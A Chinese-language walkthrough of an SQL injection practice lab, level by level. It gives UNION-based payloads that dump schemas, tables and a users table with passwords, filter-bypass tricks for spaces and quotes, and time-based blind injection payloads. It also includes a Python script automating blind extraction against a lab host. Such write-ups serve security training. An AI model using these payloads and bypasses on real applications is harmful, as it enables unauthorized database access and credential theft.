第一关(没有任何处理)
- 查看正常页面
- 查看异常页面
- 查看是否是数值型,发现不是,
name=123 or 1=1%23 - 查看是否是单引号,
name=123' or '1'='1'%23 ,发现确实是单引号 - 猜字段,发现是5,
name=admin' order by 1,2,3,4,5 %23 - 查看回显位,发现是1,2,3,
name=123' union select 1,2,3,4,5 %23 - 查看数据库名字、版本信息、路径,
name=123' union select database(),version(),@@datadir,4,5 %23 - 查询所有数据库,
name=123' union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5 %23 - 查询所有表,
name=123' union select (select group_concat(table_name)from information_schema.tables where database()=table_schema),2,3,4,5 %23 - 查询所有列,
name=123' union select (select group_concat(column_name)from information_schema.columns where database()=table_schema and table_name='users'),2,3,4,5 %23 - 暴数据,
name=123' union select (select group_concat('~',id,'~',name,'~',age,'~',groupid,'~',passwd)from exercises.users),2,3,4,5 %23
第二关(对空格处理)
- 查看正常的页面
- 查看异常的页面
- 查看
name=admin" ,发现是异常的页面,推测双引号作为参数连接到一起的。 - 查看
name=admin' ,发现不是异常也不是正常的页面,推测单引号应该是闭合作用的。 - 经过多次的检验,发现过滤了空格,因此没有办法直接使用or来进行连接,可以使用
/*%0a*/ 来充当空格,还可以使用%0b 来充当空格我这里使用的是name=admin'||'1'='1'%23 ,即使用|| 来代替or - 猜字段,
name=123'/*%0a*/order/*%0a*/by/*%0a*/1,2,3,4,5%23 ,发现5为正常而6为错误。 - 查看回显位,
name=123'/*%0a*/union/*%0a*/select/*%0a*/1,2,3,4,5%23 - 查看数据库名字、版本、路径。
name=123'/*%0a*/union/*%0a*/select/*%0a*/database(),version(),@@datadir,4,5%23 - 查看所有的数据库名字,
name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(schema_name)from(information_schema.schemata)),2,3,4,5%23 - 查看所有的表,
name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(table_name)from(information_schema.tables)where(database()=table_schema)),2,3,4,5%23 - 查看所有的列,
name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat(column_name)from(information_schema.columns)where(database()=table_schema/*%0a*/and/*%0a*/table_name='users')),2,3,4,5%23 - 查看所有的数据,
name=123'/*%0a*/union/*%0a*/select/*%0a*/(select/*%0a*/group_concat('id=',id,',name=',name,',age=',age,',groupod=',groupid,',passwd=',passwd)from(exercises.users)),2,3,4,5%23
第三关
- 查看正常的页面
- 查看异常的页面
- 根据直接在正常的页面参数后面加双引号,发现是异常页面,说明双引号是被作为参数连接到一起的;单引号则是第三种页面,说明是由单引号闭合的。
双引号 单引号 也可以按照这种方法来进行验证,name=123'||'1'='1'%23 - 经过多次的尝试,发现
/**/ 能够绕过,而/*%0a*/、%0b 不能绕过,说明对制表符进行了处理。 - 暴表,
name=123'/**/union/**/select/**/(select/**/group_concat(schema_name)from/**/information_schema.schemata),2,3,4,5%23 - 暴表,
name=123'/**/union/**/select/**/(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/'exercises'=table_schema),2,3,4,5%23 - 暴列,
name=123'/**/union/**/select/**/(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/'exercises'=table_schema/**/and/**/table_name='users'),2,3,4,5%23 - 暴数据,
name=123'/**/union/**/select/**/(select/**/group_concat(id,name,age,groupid,passwd)from/**/exercises.users),2,3,4,5%23
第四关
- 正常的页面
- 错误的页面
- 输入单引号,发现是第三种页面
输入双引号也发现是第三种页面,说明是数值型注入 也可以按照id=0 or 1=1 来验证是否是数值型注入,发现确实是数值型注入 - 经过多次的检查,发现字段是5,因为6时是错误的。
id=0 order by 1,2,3,4,5 - 查看回显位,
id=0 union select 1,2,3,4,5 - 暴数据库,
id=0 union select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5 - 暴表,由于对单引号进行了处理,所以无法直接使用单引号,要考虑如何对单引号进行绕过,对数据库名字进行base64、ascii编码都不行,因此只能一个个来而不能指定但是由于这里指定的是数据库名,可以使用database()函数来代替
id=0 union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5 - 暴列,
id=0 union select (select group_concat(column_name)from information_schema.columns where table_schema=database()),2,3,4,5 - 暴数据,
id=0 union select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5
第五关
第五关和第四关的攻击过程一模一样
第六关
第六关和第四关一模一样
第七关
- 查看正常的页面
- 查看异常的页面
- 输入单引号和双引号发现都是第三种的页面,因此说明不少字符型注入而是数值型。
- 经过多次的尝试,发现只有在
%0a 的情况下才能够进行注入攻击。id=0%0aor%0a1=1 - 猜字段,
id=1%0aorder by 1,2,3,4,5 - 查看回显位,
id=-1%0aunion select 1,2,3,4,5 - 查看所有的数据库名,
id=-1%0aunion select (select group_concat(schema_name)from information_schema.schemata),2,3,4,5 - 查看所有的表名,
id=-1%0aunion select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3,4,5 - 查看指定表的所有列名,
id=-1%0aunion select (select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),2,3,4,5 - 暴数据,
id=-1%0aunion select (select group_concat(id,name,age,groupid,passwd)from exercises.users),2,3,4,5
第八关
- 查看正常的页面
- 查看异常的页面
- 根据该关卡的正常和异常可以发现,只有两种情况,并不像前七关一样,有三种页面,因此判断出改关卡不能进行联合注入。又因为没有错误返回信息,因此报错注入无法执行,只能使用盲注进行攻击。
- 经过多次的尝试,发现是反引号闭合的类型,
order=id'%23 - 经过多次的猜测,发现数据库的名字长度是9,`order=id’ and if(length(database())=9,sleep(2),1) %23
- 猜数据库名字,
order=id' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(2),0) %23 ,也可以指定特定的当前的数据库,order=id' and if(ascii(substr((select database() limit 0,1),2,1))=119,sleep(2),0)--+ - 猜表名,
order=id' and if(ascii(substr((select table_name from information_schema.tables where database()=table_schema limit 0,1),1,1))=105,sleep(2),0) %23 - 猜列名,
order=id' and if(ascii(substr((select column_name from information_schema.columns where database()=table_schema and tabe_name='users' limit 0,1),1,1))=105,sleep(2) - 使用脚本
import requests
import time
url = 'http://172.16.12.131/sqli/example8.php?order=id`'#存在时间盲注漏洞的地址
result=''
print('test')
database = 'select schema_name from information_schema.schemata'#多余的分号
table = 'select table_name from information_schema.tables where table_schema = "database_name"'
column = 'select column_name from information_schema.columns where table_name = "table_name"'
for i in range(1,100):
for j in range(48,122):
payload=r' and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)
stime=time.time()
r=requests.get(url+payload)
print(r.url)
etime=time.time()
print(r.url)
if etime-stime>=2:
result+=chr(j)
print(result)
break
第九关
发现和第八关一样,只是没有了反引号闭合而已。
常见的绕过方法
- 双写绕过
- 大小写绕过
- 编码绕过,如:hex || URL
- 注释符绕过,如:/!select/
- 替换:如 and 可替换为 && ,or 可替换为 ||
- 空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代
- 用
/*%0a*/ 强行制造空格,%09是table键也可以当成是空格,%20是空格,%0a是回车键。
|